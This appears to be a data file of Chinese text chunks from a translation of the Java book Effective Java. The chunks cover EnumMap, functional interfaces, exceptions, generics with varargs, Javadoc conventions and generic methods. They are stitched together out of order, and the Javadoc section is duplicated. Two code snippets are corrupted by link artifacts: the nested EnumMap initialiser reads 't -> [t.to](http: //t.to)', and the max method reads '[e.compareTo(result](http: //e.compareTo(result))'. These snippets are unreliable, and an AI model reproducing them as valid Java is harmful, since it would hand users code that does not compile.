    {"text": "以下是最简单的基于 stream 的代码，它们在很大程度上重复了前面示例的行为： // Naive stream-based approach - unlikely to produce an EnumMap! System.out.println(Arrays.stream(garden) .collect(groupingBy(p -> p.lifeCycle))); 这个代码的问题在于它选择了自己的 Map 实现，实际上它不是 EnumMap ，所以它不会与显式 EnumMap 的版本的空间和时间性能相匹配。 为了解决这个问题，使用 Collectors.groupingBy 的三个参数形式的方法，它允许调用者使用 mapFactory 参数指定 map 的实现： // Using a stream and an EnumMap to associate data with an enum System.out.println(Arrays.stream(garden) .collect(groupingBy(p -> p.lifeCycle, () -> new EnumMap<>(LifeCycle.class), toSet()))); 这样的优化在像这样的示例程序中是不值得的，但是在大量使用 Map 的程序中可能是至关重要的。"},
    {"text": "EnumMap 版本总是为每个工厂生命周期生成一个嵌套 map 类，而如果花园包含一个或多个具有该生命周期的植物时，则基于流的版本才会生成嵌套 map 类。"},
    {"text": "因此，例如，如果花园包含一年生和多年生植物但没有两年生的植物， plantByLifeCycle 的大小在 EnumMap 版本中为三个，在两个基于流的版本中为两个。"},
    {"text": "例如，这个程序使用这样一个数组来映射两个阶段到一个阶段转换（phase transition）（液体到固体表示凝固，液体到气体表示沸腾等等）： // Using ordinal() to index array of arrays - DON'T DO THIS! public enum Phase { SOLID, LIQUID, GAS; public enum Transition { MELT, FREEZE, BOIL, CONDENSE, SUBLIME, DEPOSIT; // Rows indexed by from-ordinal, cols by to-ordinal private static final Transition[][] TRANSITIONS = { { null , MELT, SUBLIME }, { FREEZE, null , BOIL }, { DEPOSIT, CONDENSE, null } }; // Returns the phase transition from one phase to another public static Transition from (Phase from, Phase to) { return TRANSITIONS[from.ordinal()][to.ordinal()]; } } } 这段程序可以运行，甚至可能显得优雅，但外观可能是骗人的。"},
    {"text": "因为每个阶段转换都由一对阶段枚举来索引，所以最好将关系表示为从一个枚举（from 阶段）到第二个枚举（to 阶段）到结果（阶段转换）的 map 。 与阶段转换相关的两个阶段最好通过将它们与阶段转换枚举相关联来捕获，然后可以用它来初始化嵌套的 EnumMap： // Using a nested EnumMap to associate data with enum pairs public enum Phase { SOLID, LIQUID, GAS; public enum Transition { MELT(SOLID, LIQUID), FREEZE(LIQUID, SOLID), BOIL(LIQUID, GAS), CONDENSE(GAS, LIQUID), SUBLIME(SOLID, GAS), DEPOSIT(GAS, SOLID); private final Phase from; private final Phase to; Transition(Phase from, Phase to) { this .from = from; this .to = to; } // Initialize the phase transition map private static final Map<Phase, Map<Phase, Transition>> m = Stream.of(values()).collect(groupingBy(t -> t.from, () -> new EnumMap<>(Phase.class), toMap(t -> [t.to](http: //t.to), t -> t, (x, y) -> y, () -> new EnumMap<>(Phase.class)))); public static Transition from (Phase from, Phase to) { return m.get(from).get(to); } } } 初始化阶段转换的 map 的代码有点复杂。 map 的类型是 Map<Phase, Map<Phase, Transition>> ，意思是“从（源）阶段映射到从（目标）阶段到阶段转换映射。"},
    {"text": "要更新基于数组的程序，必须将一个新的常量添加到 Phase ，将两个两次添加到 Phase.Transition ，并用新的十六个元素版本替换原始的九元素阵列数组。"},
    {"text": "要更新基于 EnumMap 的版本，只需将 PLASMA 添加到阶段列表中，并将 IONIZE(GAS, PLASMA) 和 DEIONIZE(PLASMA, GAS) 添加到阶段转换列表中： // Adding a new phase using the nested EnumMap implementation public enum Phase { SOLID, LIQUID, GAS, PLASMA; public enum Transition { MELT(SOLID, LIQUID), FREEZE(LIQUID, SOLID), BOIL(LIQUID, GAS), CONDENSE(GAS, LIQUID), SUBLIME(SOLID, GAS), DEPOSIT(GAS, SOLID), IONIZE(GAS, PLASMA), DEIONIZE(PLASMA, GAS); ... // Remainder unchanged } } 该程序会处理所有其他事情，并且几乎不会出现错误。"},
    {"text": "44. 优先使用标准的函数式接口.md 44. 优先使用标准的函数式接口.md 44. 优先使用标准的函数式接口 现在 Java 已经有 lambda 表达式，编写 API 的最佳实践已经发生了很大的变化。"},
    {"text": "以下代码重写允许 map 增长到一百个条目，然后在每次添加新 key 值时删除最老的条目，并保留最近的一百个条目： protected boolean removeEldestEntry (Map.Entry<K,V> eldest) { return size() > 100 ; } 这种技术很有效，但是你可以用 lambdas 做得更好。"},
    {"text": "查看 removeEldestEntry 方法的声明，你可能会认为函数对象应该接受一个 Map.Entry<K，V> 并返回一个布尔值，但是这并不完全是这样： removeEldestEntry 方法调用 size() 方法来获取条目的数量，因为 removeEldestEntry 是 map 上的一个实例方法。"},
    {"text": "如果要声明这样一个功能接口，应该是这样的： // Unnecessary functional interface; use a standard one instead. @FunctionalInterface interface EldestEntryRemovalFunction < K , V > { boolean remove (Map<K,V> map, Map.Entry<K,V> eldest) ; } 这个接口可以正常工作，但是你不应该使用它，因为你不需要为此目的声明一个新的接口。"},
    {"text": "在我们的 LinkedHashMap 示例中，标准的 BiPredicate<Map<K,V>, Map.Entry<K,V>> 接口应优先于自定义的 EldestEntryRemovalFunction 接口的使用。"},
    {"text": "Supplier 接口表示一个不接受参数和返回值 (或“供应”) 的方法。 最后， Consumer 表示该方法接受一个参数而不返回任何东西，本质上就是使用它的参数。"},
    {"text": "六种基本函数式接口概述如下： 接口 方法 示例 UnaryOperator<T> T apply(T t) String::toLowerCase BinaryOperator<T> T apply(T t1, T t2) BigInteger::add Predicate<T> boolean test(T t) Collection::isEmpty Function<T,R> R apply(T t) Arrays::asList Supplier<T> T get() Instant::now Consumer<T> void accept(T t) System.out::println 在处理基本类型 int，long 和 double 的操作上，六个基本接口中还有三个变体。"},
    {"text": "如果源类型和结果类型都是基本类型，则使用带有 SrcToResult 的前缀 Function ，例如 LongToIntFunction (六个变体)。 如果源是一个基本类型，返回结果是一个对象引用，那么带有 ToObj 的前缀 Function ，例如 DoubleToObjFunction (三种变体)。"},
    {"text": "当然，如果没有一个标准模块能够满足您的需求，例如，如果需要一个带有三个参数的 Predicate ，或者一个抛出检查异常的 Predicate ，那么需要编写自己的代码。"},
    {"text": "如果需要一个函数式接口与 Comparator 共享以下一个或多个特性，应该认真考虑编写一个专用函数式接口，而不是使用标准函数式接口： 它将被广泛使用，并且可以从描述性名称中受益。"},
    {"text": "73. 抛出与抽象对应的异常.md 73. 抛出与抽象对应的异常.md 73. 抛出与抽象对应的异常 如果方法抛出的异常与它所执行的任务没有明显的联系，这种情形将会使人不知所措。当方法传递由低层抽象抛出的异常时，往往会发生这种情况。除了使人感到困惑之外，这也“污染”了具有实现细节的更高层的 API 。如果高层的实现在后续的发行版本中发生了变化，它所抛出的异常也可能会跟着发生变化，从而潜在地破坏现有的客户端程序。 为了避免这个问题， 更高层的实现应该捕获低层的异常，同时抛出可以按照高层抽象进行解释的异常。 这种做法称为异常转译 (exception translation)，如下代码所示： /* Exception Translation */ try { ... /* Use lower-level abstraction to do our bidding */ } catch ( LowerLevelException e ) { throw new HigherLevelException(...); } 下面的异常转译例子取自于 AbstractSequentialList 类，该类是 List 接口的一个骨架实现 (skeletal implementation)，详见第 20 条。在这个例子中，按照 List<E> 接口中 get 方法的规范要求，异常转译是必需的： /** * Returns the element at the specified position in this list. * @throws IndexOutOfBoundsException if the index is out of range * ({ @code index < 0 || index >= size()}). */ public E get ( int index ) { ListIterator<E> i = listIterator( index ); try { return (i.next() ); } catch ( NoSuchElementException e ) { throw new IndexOutOfBoundsException( \"Index: \" + index ); } } 一种特殊的异常转译形式称为异常链 (exception chaining)，如果低层的异常对于调试导致高层异常的问题非常有帮助，使用异常链就很合适。低层的异常（原因）被传到高层的异常，高层的异常提供访问方法 (Throwable 的 getCause 方法）来获得低层的异常： // Exception Chaining try { ... // Use lower-level abstraction to do our bidding } catch (LowerLevelException cause) { throw new HigherLevelException(cause); } 高层异常的构造器将原因传到支持链 (chaining-aware) 的超级构造器，因此它最终将被传给 Throw able 的其中一个运行异常链的构造器，例如 Throwable(Throwable) : /* Exception with chaining-aware constructor */ class HigherLevelException extends Exception { HigherLevelException( Throwable cause ) { super (cause); } } 大多数标准的异常都有支持链的构造器。对于没有支持链的异常，可以利用 Throwable 的 initCause 方法设置原因。异常链不仅让你可以通过程序（用 getCause) 访问原因，还可以将原因的堆战轨迹集成到更高层的异常中。 尽管异常转译与不加选择地从低层传递异常的做法相比有所改进，但是也不能滥用它。 如有可能，处理来自低层异常的最好做法是，在调用低层方法之前确保它们会成功执行，从而避免它们抛出异常。有时候，可以在给低层传递参数之前，检查更高层方法的参数的有效性，从而避免低层方法抛出异常。 如果无法阻止来自低层的异常，其次的做法是，让更高层来悄悄地处理这些异常，从而将高层方法的调用者与低层的问题隔离开来。在这种情况下，可以用某种适当的记录机制（如 java.util.logging) 将异常记录下来。这样有助于管理员调查问题，同时又将客户端代码和最终用户与问题隔离开来。 总而言之，如果不能阻止或者处理来自更低层的异常，一般的做法是使用异常转译，只有在低层方法的规范碰巧可以保证“它所抛出的所有异常对于更高层也是合适的”情况下，才可以将异常从低层传播到高层。异常链对高层和低层异常都提供了最佳的功能：它允许抛出适当的高层异常，同时又能捕获低层的原因进行失败分析（详见第 75 条） 。"},
    {"text": "32. 合理地结合泛型和可变参数.md 32. 合理地结合泛型和可变参数.md 32. 合理地结合泛型和可变参数 在 Java 5 中，可变参数方法（条目 53）和泛型都被添加到平台中，所以你可能希望它们能够正常交互; 可悲的是，他们并没有。"},
    {"text": "可变参数的目的是允许客户端将一个可变数量的参数传递给一个方法，但这是一个脆弱的抽象（leaky abstraction）：当你调用一个可变参数方法时，会创建一个数组来保存可变参数；"},
    {"text": "回顾条目 28，非具体化（non-reifiable）的类型是其运行时表示比其编译时表示具有更少信息的类型，并且几乎所有泛型和参数化类型都是不可具体化的。"},
    {"text": "如果某个方法声明其可变参数为非具体化的类型，则编译器将在该声明上生成警告。 如果在推断类型不可确定的可变参数参数上调用该方法，那么编译器也会在调用中生成警告。"},
    {"text": "警告看起来像这样： warning: [unchecked] Possible heap pollution from parameterized vararg type List<String> 当参数化类型的变量引用不属于该类型的对象时会发生堆污染（Heap pollution）[JLS，4.12.2]。"},
    {"text": "例如，请考虑以下方法，该方法是第 127 页上的代码片段的一个不太明显的变体： // Mixing generics and varargs can violate type safety! static void dangerous (List<String>... stringLists) { List<Integer> intList = List.of( 42 ); Object[] objects = stringLists; objects[ 0 ] = intList; // Heap pollution String s = stringLists[ 0 ].get( 0 ); // ClassCastException } 此方法没有可见的强制转换，但在调用一个或多个参数时抛出 ClassCastException 异常。"},
    {"text": "事实上，Java 类库导出了几个这样的方法，包括 Arrays.asList(T... a) ， Collections.addAll(Collection<? super T> c, T... elements) ， EnumSet.of(E first, E... rest) 。"},
    {"text": "如果方法没有在数组中存储任何东西（它会覆盖参数）并且不允许对数组的引用进行转义（这会使不受信任的代码访问数组），那么它是安全的。 换句话说，如果可变参数数组仅用于从调用者向方法传递可变数量的参数——毕竟这是可变参数的目的——那么该方法是安全的。"},
    {"text": "乍一看，它可能看起来像一个方便的小工具： // UNSAFE - Exposes a reference to its generic parameter array! static <T> T[] toArray(T... args) { return args; } 这个方法只是返回它的可变参数数组。"},
    {"text": "为了具体说明，请考虑下面的泛型方法，它接受三个类型 T 的参数，并返回一个包含两个参数的数组，随机选择： static <T> T[] pickTwo(T a, T b, T c) { switch (ThreadLocalRandom.current().nextInt( 3 )) { case 0 : return toArray(a, b); case 1 : return toArray(a, c); case 2 : return toArray(b, c); } throw new AssertionError(); // Can't get here } 这个方法本身不是危险的，除了调用具有泛型可变参数的 toArray 方法之外，不会产生警告。"},
    {"text": "这段代码分配了一个 Object[] 类型的数组，它是保证保存这些实例的最具体的类型，而不管在调用位置传递给 pickTwo 的对象是什么类型。 toArray 方法只是简单地将这个数组返回给 pickTwo ，然后 pickTwo 将它返回给调用者，所以 pickTwo 总是返回一个 Object[] 类型的数组。"},
    {"text": "public static void main (String[] args) { String[] attributes = pickTwo( \"Good\" , \"Fast\" , \"Cheap\" ); } 这种方法没有任何问题，因此它编译时不会产生任何警告。"},
    {"text": "这种故障相当令人不安，因为它从实际导致堆污染（ toArray ）的方法中移除了两个级别，并且在实际参数存储在其中之后，可变参数数组未被修改。"},
    {"text": "这个例子是为了让人们认识到给另一个方法访问一个泛型的可变参数数组是不安全的，除了两个例外：将数组传递给另一个可变参数方法是安全的，这个方法是用 @SafeVarargs 正确标注的， 将数组传递给一个非可变参数的方法是安全的，该方法仅计算数组内容的一些方法。"},
    {"text": "由于该方法使用 @SafeVarargs 进行标注，因此在声明或其调用站位置上不会生成任何警告： // Safe method with a generic varargs parameter @SafeVarargs static <T> List<T> flatten (List<? extends T>... lists) { List<T> result = new ArrayList<>(); for (List<? extends T> list : lists) result.addAll(list); return result; } 决定何时使用 @SafeVarargs 注解的规则很简单：在每种方法上使用 @SafeVarargs ，并使用泛型或参数化类型的可变参数，这样用户就不会因不必要的和令人困惑的编译器警告而担忧。"},
    {"text": "请注意，只有参数声明被更改了： // List as a typesafe alternative to a generic varargs parameter static <T> List<T> flatten (List<List<? extends T>> lists) { List<T> result = new ArrayList<>(); for (List<? extends T> list : lists) result.addAll(list); return result; } 然后可以将此方法与静态工厂方法 List.of 结合使用，以允许可变数量的参数。"},
    {"text": "请注意，这种方法依赖于 List.of 声明使用 @SafeVarargs 注解： audience = flatten(List.of(friends, romans, countrymen)); 这种方法的优点是编译器可以证明这种方法是类型安全的。"},
    {"text": "pickTwo 方法然后变成这样： static <T> List<T> pickTwo (T a, T b, T c) { switch (rnd.nextInt( 3 )) { case 0 : return List.of(a, b); case 1 : return List.of(a, c); case 2 : return List.of(b, c); } throw new AssertionError(); } main 方变成这样： public static void main (String[] args) { List<String> attributes = pickTwo( \"Good\" , \"Fast\" , \"Cheap\" ); } 生成的代码是类型安全的，因为它只使用泛型，不是数组。"},
    {"text": "如果选择使用泛型（或参数化）可变参数编写方法，请首先确保该方法是类型安全的，然后使用 @SafeVarargs 注解对其进行标注，以免造成使用不愉快。"},
    {"text": "70. 对可恢复的情况使用受检异常，对编程错误使用运行时异常.md 70. 对可恢复的情况使用受检异常，对编程错误使用运行时异常.md 70. 对可恢复的情况使用受检异常，对编程错误使用运行时异常 Java 程序设计语言提供了三种 throwable：受检异常（checked exceptions）、运行时异常（runtime exceptions）和错误（errors）。程序员中存在着什么情况适合使用哪种 throwable 的困惑。虽然这种决定不总是那么清晰，但还是有一些一般性的原则提出了强有力的指导。 在决定使用受检异常还是非受检异常时，主要的原则是： 如果期望调用者能够合理的恢复程序运行，对于这种情况就应该使用受检异常。 通过抛出受检异常，强迫调用者在一个 catch 子句中处理该异常，或者把它传播出去。因此，方法中声明要抛出的每个受检异常都是对 API 用户的一个潜在提示：与异常相关联的条件是调用这个方法一种可能结果。 API 的设计者让 API 用户面对受检异常，以此强制用户从这个异常条件条件中恢复。用户这可以忽视这样的强制要求，只需要捕获异常即可，但这往往不是个好办法（详见第 77 条）。 有两种非受检的 throwable：运行时异常和错误。在行为上两者是等同的：它们都是不需要也不应该被捕获的 throwable。如果程序抛出非受检异常或者错误，往往属于不可恢复的情形，程序继续执行下去有害无益。如果程序没有捕捉到这样的 throwable，将会导致当前线程中断（halt），并且出现适当的错误消息。 用运行时异常来表明编程错误 。大多数运行时异常都表示前提违例（precondition violations）。所谓前提违例是指 API 的客户没有遵守 API 规范建立的约定。例如，数组访问的预定指明了数组的下标值必须在 0 和数组长度-1 之间。ArrayIndexOutOfBoundsException 表明违反了这个前提。 这个建议有一个问题：对于要处理可恢复的条件，还是处理编程错误，情况并非总是那么黑白分明。例如，考虑资源枯竭的情形，这可能是由程序错误引起的，比如分配了一块不合理的过大数组，也可能确实是由于资源不足而引起的。如果资源枯竭是由于临时的短缺，或是临时需求太大造成的，这种情况可能是可恢复的。API 设计者需要判断这样的资源枯竭是否允许恢复。如果你相信一种情况可能允许回复，就使用受检异常；如果不是，则使用运行时异常。如果不清楚是否有可能恢复，最好使用非受检异常，原因参见 71 条。 虽然 JLS（Java 语言规范）并没有要求，但是按照惯例，错误（Error）往往被 JVM 保留下来使用，以表明资源不足、约束失败，或者其他使程序无法继续执行的条件。由于这已经是个几乎被普遍接受的管理，因此最好不需要在实现任何新的 Error 的子类。因此， 你实现的所有非受检的 throwable 都应该是 RuntimeExceptiond 子类 （直接或者间接的）。不仅不应该定义 Error 的子类，也不应该抛出 AssertionError 异常。 要想定义一个不是 Exception、RuntimeException 或者 Error 子类的 throwable，这也是有可能的。JLS 并没有直接规定这样的 throwable，而是隐式的指定了：从行为意义上讲，他们等同于普通的受检异常（即 Exception 的子类，但不是 RuntimeException 的子类）。那么什么时候应该使用这样的 throwable？一句话，永远也不会用到。它与普通的受检异常相比没有任何益处，还会困扰 API 的使用者。 API 的设计者往往会忘记，异常也是一个完全意义上的对象，可是在它上面定义任何的方法。这些方法的主要用途是捕获异常的代码提供额外信息，特别是关于引发这个异常条件的信息。如果没有这样的方法，程序员必须要懂的如何解析“该异常的字符串表示法”，以便获得这些额外信息。这是极为不好的做法（详见 12 条）。类很少会指定它们的字符串表示法中的细节，因此对于不同的实现及不同的版本，字符串表示法也会大相径庭。由此可见，“解析异常的字符串表示法”的代码可能是不可移植的，也是非常脆弱的。 因为受检异常往往指明了可恢复的条件，所以对于这样的异常，提供一些辅助方法尤其重要，通过这种方法调用者可以获得一些有助于程序恢复的信息。例如，假设因为用户资金不足，当他企图购买一张礼品卡时导致失败，于是抛出受检异常。这个异常应该提供一个访问方法，以便允许客户查询所缺的费用金额，使得使用者可以将这个数值传递给用户。关于这个主题的更多详情，参见 75 条。 总而言之，对于可恢复的情况，要抛出受检异常；对于程序错误，就要抛出运行时异常。不确定是否可恢复，就跑出为受检异常。不要定义任何既不是受检异常也不是运行异常的抛出类型。要在受检异常上提供方法，以便协助程序恢复。"},
    {"text": "56. 为所有已公开的 API 元素编写文档注释.md 56. 为所有已公开的 API 元素编写文档注释.md 56. 为所有已公开的 API 元素编写文档注释 如果 API 要可用，就必须对其进行文档化。"},
    {"text": "完整地描述方法的契约，文档注释应该为每个参数都有一个 @param 标签，一个 @return 标签 (除非方法有 void 返回类型)，以及一个 @throw 标签 (无论是检查异常还是非检查异常)(条目 74)。"},
    {"text": "以下的文档注释说明了所有这些约定: /** * Returns the element at the specified position in this list. * * <p>This method is <i>not</i> guaranteed to run in constant * time. In some implementations it may run in time proportional * to the element position. * * @param index index of element to return; must be * non-negative and less than the size of this list * @return the element at the specified position in this list * @throws IndexOutOfBoundsException if the index is out of range * ({ @code index < 0 || index >= this.size()}) */ E get ( int index) ; 请注意在此文档注释（ <p> 和 <i> ）中使用 HTML 标记。"},
    {"text": "要在文档注释中包含多行代码示例，请使用包装在 HTML <pre> 标记中的 Javadoc {@code} 标签。 换句话说，在代码示例前面加上字符 <pre>{@code，然后在代码后面加上}</pre> 。"},
    {"text": "下面是实际应用中的实例： /** * Returns true if this collection is empty. * * @implSpec * This implementation returns { @code this.size() == 0}. * * @return true if this collection is empty */ public boolean isEmpty () { ... } 从 Java 9 开始，Javadoc 实用工具仍然忽略 @implSpec 标签，除非通过命令行开关： -tag \"implSpec:a:Implementation Requirements:\" 。"},
    {"text": "每个文档注释的第一个“句子”（如下定义）成为注释所在元素的概要描述。 例如，第 255 页上的文档注释中的概要描述为：“返回此列表中指定位置的元素”。"},
    {"text": "最好的解决方案是用 {@literal} 标签来包围不愉快的句点和任何相关的文本，这样源代码中的句点后面就不会有空格了: /** * A college degree, such as B.S., { @literal M.S.} or Ph.D. */ public class Degree { ... } 说概要描述是文档注释中的第一句子，其实有点误导人。"},
    {"text": "对文档注释中出现的术语进行索引，就像将其包装在这个标签中一样简单，如下面的片段所示: * This method complies with the { @index IEEE 754 } standard. 泛型，枚举和注释需要特别注意文档注释。"},
    {"text": "记录泛型类型或方法时，请务必记录所有类型参数 ： /** * An object that maps keys to values. A map cannot contain * duplicate keys; each key can map to at most one value. * * (Remainder omitted) * * @param <K> the type of keys maintained by this map * @param <V> the type of mapped values */ public interface Map < K , V > { ... } 在记录枚举类型时，一定要记录常量 ，以及类型和任何公共方法。"},
    {"text": "注意，如果文档很短，可以把整个文档注释放在一行: /** * An instrument section of a symphony orchestra. */ public enum OrchestraSection { /** Woodwinds, such as flute, clarinet, and oboe. */ WOODWIND, /** Brass instruments, such as french horn and trumpet. */ BRASS, /** Percussion instruments, such as timpani and cymbals. */ PERCUSSION, /** Stringed instruments, such as violin and cello. */ STRING; } 在为注解类型记录文档时，一定要记录任何成员 ，以及类型本身。"},
    {"text": "对于类型的概要描述，请使用动词短语，它表示当程序元素具有此类型注解的所表示的含义: /** * Indicates that the annotated method is a test method that * must throw the designated exception to pass. */ @Retention (RetentionPolicy.RUNTIME) @Target (ElementType.METHOD) public @interface ExceptionTest { /** * The exception that the annotated test method must throw * in order to pass. (The test is permitted to throw any * subtype of the type described by this class object.) */ Class<? extends Throwable> value(); } 包级别文档注释应放在名为 package-info.java 的文件中。"},
    {"text": "对于由多个相互关联的类组成的复杂 API，通常需要用描述 API 总体架构的外部文档来补充文档注释。 如果存在这样的文档，相关的类或包文档注释应该包含到外部文档的链接。"},
    {"text": "在验证生成的 HTML 时，请记住，从 Java 9 开始，Javadoc 就能够生成 HTML5 和 HTML 4.01，尽管默认情况下仍然生成 HTML 4.01。 如果希望 Javadoc 生成 HTML5，请使用 -html5 命令行开关。"},
    {"text": "完整地描述方法的契约，文档注释应该为每个参数都有一个 @param 标签，一个 @return 标签 (除非方法有 void 返回类型)，以及一个 @throw 标签 (无论是检查异常还是非检查异常)(条目 74)。"},
    {"text": "以下的文档注释说明了所有这些约定: /** * Returns the element at the specified position in this list. * * <p>This method is <i>not</i> guaranteed to run in constant * time. In some implementations it may run in time proportional * to the element position. * * @param index index of element to return; must be * non-negative and less than the size of this list * @return the element at the specified position in this list * @throws IndexOutOfBoundsException if the index is out of range * ({ @code index < 0 || index >= this.size()}) */ E get ( int index) ; 请注意在此文档注释（ <p> 和 <i> ）中使用 HTML 标记。"},
    {"text": "要在文档注释中包含多行代码示例，请使用包装在 HTML <pre> 标记中的 Javadoc {@code} 标签。 换句话说，在代码示例前面加上字符 <pre>{@code，然后在代码后面加上}</pre> 。"},
    {"text": "下面是实际应用中的实例： /** * Returns true if this collection is empty. * * @implSpec * This implementation returns { @code this.size() == 0}. * * @return true if this collection is empty */ public boolean isEmpty () { ... } 从 Java 9 开始，Javadoc 实用工具仍然忽略@implSpec 标签，除非通过命令行开关： -tag \"implSpec:a:Implementation Requirements:\" 。"},
    {"text": "每个文档注释的第一个“句子”（如下定义）成为注释所在元素的概要描述。 例如，第 255 页上的文档注释中的概要描述为：“返回此列表中指定位置的元素”。"},
    {"text": "最好的解决方案是用 {@literal} 标签来包围不愉快的句点和任何相关的文本，这样源代码中的句点后面就不会有空格了: /** * A college degree, such as B.S., { @literal M.S.} or Ph.D. */ public class Degree { ... } 说概要描述是文档注释中的第一句子，其实有点误导人。"},
    {"text": "对文档注释中出现的术语进行索引，就像将其包装在这个标签中一样简单，如下面的片段所示: * This method complies with the { @index IEEE 754 } standard. 泛型，枚举和注释需要特别注意文档注释。"},
    {"text": "记录泛型类型或方法时，请务必记录所有类型参数 ： /** * An object that maps keys to values. A map cannot contain * duplicate keys; each key can map to at most one value. * * (Remainder omitted) * * @param <K> the type of keys maintained by this map * @param <V> the type of mapped values */ public interface Map < K , V > { ... } 在记录枚举类型时，一定要记录常量 ，以及类型和任何公共方法。"},
    {"text": "注意，如果文档很短，可以把整个文档注释放在一行: /** * An instrument section of a symphony orchestra. */ public enum OrchestraSection { /** Woodwinds, such as flute, clarinet, and oboe. */ WOODWIND, /** Brass instruments, such as french horn and trumpet. */ BRASS, /** Percussion instruments, such as timpani and cymbals. */ PERCUSSION, /** Stringed instruments, such as violin and cello. */ STRING; } 在为注解类型记录文档时，一定要记录任何成员 ，以及类型本身。"},
    {"text": "对于类型的概要描述，请使用动词短语，它表示当程序元素具有此类型注解的所表示的含义: /** * Indicates that the annotated method is a test method that * must throw the designated exception to pass. */ @Retention (RetentionPolicy.RUNTIME) @Target (ElementType.METHOD) public @interface ExceptionTest { /** * The exception that the annotated test method must throw * in order to pass. (The test is permitted to throw any * subtype of the type described by this class object.) */ Class<? extends Throwable> value(); } 包级别文档注释应放在名为 package-info.java 的文件中。"},
    {"text": "对于由多个相互关联的类组成的复杂 API，通常需要用描述 API 总体架构的外部文档来补充文档注释。 如果存在这样的文档，相关的类或包文档注释应该包含到外部文档的链接。"},
    {"text": "在验证生成的 HTML 时，请记住，从 Java 9 开始，Javadoc 就能够生成 HTML5 和 HTML 4.01，尽管默认情况下仍然生成 HTML 4.01。 如果希望 Javadoc 生成 HTML5，请使用 -html5 命令行开关。"},
    {"text": "面对这个常见任务，许多程序员会编写一个类似这样的小方法： // Common but deeply flawed! static Random rnd = new Random(); static int random ( int n) { return Math.abs(rnd.nextInt()) % n; } 这个方法看起来不错，但它有三个缺点。"},
    {"text": "下面的程序有力地证明了这一点，它在一个精心选择的范围内生成 100 万个随机数，然后打印出有多少个数字落在范围的下半部分： public static void main (String[] args) { int n = 2 * (Integer.MAX_VALUE / 3 ); int low = 0 ; for ( int i = 0 ; i < 1000000 ; i++) if (random(n) < n/ 2 ) low++; System.out.println(low); } 如果 random 方法工作正常，程序将输出一个接近 50 万的数字，但是如果运行它，你将发现它输出一个接近 666666 的数字。"},
    {"text": "这是一个使用这个新方法执行这项任务的完整程序： // Printing the contents of a URL with transferTo, added in Java 9 public static void main (String[] args) throws IOException { try (InputStream in = new URL(args[ 0 ]).openStream()) { in.transferTo(System.out); } } 库太大，无法学习所有文档 [Java9-api]，但是 每个程序员都应该熟悉 java.lang、java.util 和 java.io 的基础知识及其子包。"},
    {"text": "collections 框架和 streams 库（可参看 Item 45-48）应该是每个程序员的基本工具包的一部分， java.util.concurrent 中的并发实用程序也应该是其中的一部分。"},
    {"text": "虽然你的第一个思路应该是使用这些库，但是如果你已经了解了它们在某些领域提供的功能，而这些功能不能满足你的需求，那么可以使用另一种实现。"},
    {"text": "考虑这个方法，它返回两个集合的并集： // Uses raw types - unacceptable! [Item 26] public static Set union (Set s1, Set s2) { Set result = new HashSet(s1); result.addAll(s2); return result; } 此方法可以编译但有两个警告： Union.java: 5 : warning: [unchecked] unchecked call to HashSet (Collection<? extends E>) as a member of raw type HashSet Set result = new HashSet(s1); ^ Union.java: 6 : warning: [unchecked] unchecked call to addAll (Collection<? extends E>) as a member of raw type Set result. addAll (s2) ; ^ 要修复这些警告并使方法类型安全，请修改其声明以声明表示三个集合（两个参数和返回值）的元素类型的类型参数，并在整个方法中使用此类型参数。"},
    {"text": "类型参数的命名约定对于泛型方法和泛型类型是相同的（条目 29 和 68）： // Generic method public static <E> Set<E> union (Set<E> s1, Set<E> s2) { Set<E> result = new HashSet<>(s1); result.addAll(s2); return result; } 至少对于简单的泛型方法来说，就是这样。"},
    {"text": "这个程序不包含强制转换和编译时没有错误或警告： // Simple program to exercise generic method public static void main (String[] args) { Set<String> guys = Set.of( \"Tom\" , \"Dick\" , \"Harry\" ); Set<String> stooges = Set.of( \"Larry\" , \"Moe\" , \"Curly\" ); Set<String> aflCio = union(guys, stooges); System.out.println(aflCio); } 当运行这个程序时，它会打印 [Moe, Tom, Harry, Larry, Curly, Dick] （输出中元素的顺序依赖于具体实现。"},
    {"text": "因为泛型是通过擦除来实现的（条目 28），所以可以使用单个对象进行所有必需的类型参数化，但是需要编写一个静态工厂方法来重复地为每个请求的类型参数化分配对象。"},
    {"text": "这种称为泛型单例工厂（generic singleton factory）的模式用于方法对象（ function objects）（条目 42），比如 Collections.reverseOrder 方法，偶尔也用于 Collections.emptySet 之类的集合。"},
    {"text": "以下是它的实例： // Generic singleton factory pattern private static UnaryOperator<Object> IDENTITY_FN = (t) -> t; @SuppressWarnings ( \"unchecked\" ) public static <T> UnaryOperator<T> identityFunction () { return (UnaryOperator<T>) IDENTITY_FN; } 将 IDENTITY_FN 转换为 ( UnaryFunction<T> ) 会生成一个未经检查的强制转换警告，因为 UnaryOperator<Object> 对于每个 T 都不是一个 UnaryOperator<T> 。"},
    {"text": "像往常一样，它不包含强制转化，编译时也没有错误和警告： // Sample program to exercise generic singleton public static void main (String[] args) { String[] strings = { \"jute\" , \"hemp\" , \"nylon\" }; UnaryOperator<String> sameString = identityFunction(); for (String s : strings) System.out.println(sameString.apply(s)); Number[] numbers = { 1 , 2.0 , 3L }; UnaryOperator<Number> sameNumber = identityFunction(); for (Number n : numbers) System.out.println(sameNumber.apply(n)); } 虽然相对较少，类型参数受涉及该类型参数本身的某种表达式限制是允许的。"},
    {"text": "以下是如何表达这一约束： // Using a recursive type bound to express mutual comparability public static <E extends Comparable<E>> E max (Collection<E> c) ; 限定的类型 <E extends Comparable <E >> 可以理解为“任何可以与自己比较的类型 E”，这或多或少精确地对应于相互可比性的概念。"},
    {"text": "它根据其元素的自然顺序来计算集合中的最大值，并编译没有错误或警告： // Returns max value in a collection - uses recursive type bound public static <E extends Comparable<E>> E max (Collection<E> c) { if (c.isEmpty()) throw new IllegalArgumentException( \"Empty collection\" ); E result = null ; for (E e : c) if (result == null || [e.compareTo(result](http: //e.compareTo(result)) > 0) result = Objects.requireNonNull(e); return result; } 请注意，如果列表为空，则此方法将引发 IllegalArgumentException 异常。"},
    {"text": "如果你理解了这个习惯用法，它的通配符变体（条目 31）和模拟的自我类型用法（条目 2），你将能够处理在实践中遇到的大多数递归类型限制。"},
    {"text": "总之，像泛型类型一样，泛型方法比需要客户端对输入参数和返回值进行显式强制转换的方法更安全，更易于使用。 像类型一样，你应该确保你的方法可以不用强制转换，这通常意味着它们是泛型的。"},
